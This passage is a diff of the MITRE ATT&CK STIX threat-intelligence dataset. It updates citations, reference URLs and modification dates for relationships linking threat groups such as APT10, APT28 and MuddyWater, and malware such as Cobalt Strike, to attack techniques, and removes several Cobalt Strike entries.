"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "source_name": "PWC Cloud Hopper Technical Annex April 2017" }, { "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", @@ -85195,21 +86761,21 @@ "source_name": "FireEye APT10 April 2017" }, { - "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "source_name": "FireEye APT10 Sept 2018", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", - "source_name": "FireEye APT10 Sept 2018" + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" }, { - "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "type": "relationship", - "modified": "2019-09-03T18:50:16.529Z", + "modified": "2020-12-17T20:15:30.853Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -85545,12 +87111,12 @@ "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" } ], - "type": "relationship", - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-10-17T00:14:20.652Z", "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", "relationship_type": "uses", - "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32" + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "type": "relationship", + "modified": "2021-02-09T14:49:32.541Z", + "created": "2018-10-17T00:14:20.652Z" }, { "id": "relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b", @@ -85866,27 +87432,6 @@ "modified": "2020-09-02T18:46:33.031Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--f4865a5c-c17c-408a-94de-2feac0d006fd", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can collect data from a local system.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "type": "relationship", - "modified": "2019-06-06T19:04:39.417Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -86416,27 +87961,32 @@ { "id": "relationship--73e0604a-2509-43a6-9318-a9494e570363", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT28](https://attack.mitre.org/groups/G0007) has retrieved internal documents from machines inside victim environments, including by using [Forfiles](https://attack.mitre.org/software/S0193) to stage documents before exfiltration.(Citation: \u00dcberwachung APT28 Forfiles June 2015)(Citation: DOJ GRU Indictment Jul 2018)", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has retrieved internal documents from machines inside victim environments, including by using [Forfiles](https://attack.mitre.org/software/S0193) to stage documents before exfiltration.(Citation: \u00dcberwachung APT28 Forfiles June 2015)(Citation: DOJ GRU Indictment Jul 2018)(Citation: TrendMicro Pawn Storm 2019)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/", + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", - "source_name": "\u00dcberwachung APT28 Forfiles June 2015" + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" }, { - "url": "https://www.justice.gov/file/1080281/download", + "source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", - "source_name": "DOJ GRU Indictment Jul 2018" + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "TrendMicro Pawn Storm 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf", + "description": "Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020." } ], "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "relationship_type": "uses", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "type": "relationship", - "modified": "2020-08-04T20:56:21.201Z", + "modified": "2021-01-13T21:54:30.336Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -86518,14 +88068,14 @@ "target_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.545Z", + "modified": "2021-01-06T19:32:29.090Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -86741,7 +88291,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", "type": "relationship", - "modified": "2020-01-24T14:14:05.638Z", + "modified": "2020-12-17T18:18:15.052Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -86851,14 +88401,14 @@ "target_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.546Z", + "modified": "2021-01-06T19:32:29.108Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -87229,27 +88779,6 @@ "modified": "2019-04-25T00:09:23.203Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--5909e6e9-c620-4278-9bdc-113f09e5799b", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", - "type": "relationship", - "modified": "2020-03-17T00:40:45.200Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -87410,14 +88939,14 @@ "source_name": "SecureWorks BRONZE UNION June 2017" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } ], "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)", "type": "relationship", - "modified": "2019-07-14T21:15:55.622Z", + "modified": "2021-03-29T19:43:26.825Z", "created": "2017-05-31T21:33:27.062Z" }, { @@ -87540,7 +89069,7 @@ }, { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -87548,30 +89077,9 @@ "relationship_type": "uses", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "type": "relationship", - "modified": "2020-05-21T17:07:02.740Z", + "modified": "2021-03-29T19:50:54.272Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload is capable of capturing screenshots.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", - "type": "relationship", - "modified": "2020-06-03T20:20:56.526Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--b2496438-9431-40e5-8ca0-2ec713f342c3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -87874,16 +89382,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2019-04-22T15:08:48.484Z", + "modified": "2021-03-29T19:54:46.197Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -88006,7 +89514,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "type": "relationship", - "modified": "2020-03-15T00:55:33.285Z", + "modified": "2021-04-24T13:13:49.766Z", "created": "2017-05-31T21:33:27.018Z" }, { @@ -88096,16 +89604,16 @@ "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" }, { - "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + "source_name": "McAfee Lazarus Resurfaces Feb 2018" } ], "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "relationship_type": "uses", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "type": "relationship", - "modified": "2019-12-20T14:28:39.089Z", + "modified": "2020-12-11T17:47:22.879Z", "created": "2017-05-31T21:33:27.067Z" }, { @@ -88373,16 +89881,16 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "type": "relationship", - "modified": "2019-04-22T15:08:48.494Z", + "modified": "2021-03-29T19:54:46.162Z", "created": "2017-05-31T21:33:27.033Z" }, { @@ -88631,27 +90139,6 @@ "modified": "2019-09-09T19:15:45.447Z", "created": "2017-05-31T21:33:27.069Z" }, - { - "id": "relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can inject a variety of payloads into processes dynamically chosen by the adversary.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "type": "relationship", - "modified": "2019-06-06T19:04:39.419Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--a5015a35-a6a2-4289-8d79-79b583c23e63", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -89107,7 +90594,7 @@ "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" }, { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, @@ -89126,33 +90613,33 @@ "relationship_type": "uses", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "type": "relationship", - "modified": "2020-08-10T13:25:16.258Z", + "modified": "2020-12-11T17:47:22.920Z", "created": "2017-05-31T21:33:27.067Z" }, { "id": "relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used RDP connections to move across the victim network.(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used RDP connections to move across the victim network.(Citation: PWC Cloud Hopper April 2017)(Citation: District Court of NY APT10 Indictment December 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "source_name": "PWC Cloud Hopper April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", - "source_name": "PWC Cloud Hopper April 2017" + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" }, { - "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "type": "relationship", - "modified": "2019-09-03T18:50:16.781Z", + "modified": "2020-12-17T20:05:19.082Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -89276,7 +90763,7 @@ { "id": "relationship--d06420fb-1c4d-4a4e-b18e-4c0750310606", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)\t ", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -89310,13 +90797,23 @@ "source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020." + }, + { + "source_name": "Anomali Static Kitten February 2021", + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "type": "relationship", - "modified": "2020-05-18T19:04:38.089Z", + "modified": "2021-03-18T14:44:17.069Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -90757,7 +92254,7 @@ "external_references": [ { "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", - "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "source_name": "Nccgroup Gh0st April 2018" } ], @@ -90767,7 +92264,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "type": "relationship", - "modified": "2019-04-16T20:26:40.916Z", + "modified": "2021-03-29T19:49:11.266Z", "created": "2019-01-29T14:51:06.858Z" }, { @@ -91464,16 +92961,16 @@ "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" }, { - "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + "source_name": "McAfee Lazarus Resurfaces Feb 2018" } ], "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "relationship_type": "uses", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "type": "relationship", - "modified": "2020-03-30T02:27:00.329Z", + "modified": "2020-12-11T17:47:22.953Z", "created": "2017-05-31T21:33:27.068Z" }, { @@ -91638,22 +93135,27 @@ { "id": "relationship--72f9bf47-61ac-42c8-acbf-65be7c25af0f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT32](https://attack.mitre.org/groups/G0050) has infected victims by tricking them into visiting compromised watering hole websites.(Citation: ESET OceanLotus)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has infected victims by tricking them into visiting compromised watering hole websites.(Citation: ESET OceanLotus)(Citation: Volexity Ocean Lotus November 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", + "source_name": "ESET OceanLotus", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", - "source_name": "ESET OceanLotus" + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." } ], "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "relationship_type": "uses", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "type": "relationship", - "modified": "2019-07-17T13:11:38.025Z", + "modified": "2020-11-24T21:19:49.896Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -91666,7 +93168,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", "type": "relationship", - "modified": "2020-03-25T23:36:30.795Z", + "modified": "2021-04-27T19:56:54.586Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -91828,27 +93330,32 @@ { "id": "relationship--d4d07662-749c-4116-a83c-e4045eddad43", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as [UPPERCUT](https://attack.mitre.org/software/S0275).(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 Sept 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as [UPPERCUT](https://attack.mitre.org/software/S0275).(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "source_name": "PWC Cloud Hopper Technical Annex April 2017" }, { - "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "source_name": "FireEye APT10 Sept 2018", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", - "source_name": "FireEye APT10 Sept 2018" + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "type": "relationship", - "modified": "2019-09-03T18:50:16.758Z", + "modified": "2020-12-17T16:16:08.852Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -91888,14 +93395,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", "relationship_type": "uses", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "type": "relationship", - "modified": "2020-03-19T23:39:31.665Z", + "modified": "2021-04-21T16:41:34.726Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -92616,27 +94123,6 @@ "modified": "2020-03-20T23:11:51.513Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--6863078f-fe93-4b84-ad7f-dffe494d9265", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can steal access tokens from exiting processes.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", - "type": "relationship", - "modified": "2020-03-16T16:45:50.612Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -92823,7 +94309,7 @@ { "id": "relationship--ecb0d858-dd15-4181-b15b-76459db1d294", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) executes using regsvr32.exe called from the [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1060) persistence mechanism.(Citation: Fidelis INOCNATION)", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) executes using regsvr32.exe called from the [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001) persistence mechanism.(Citation: Fidelis 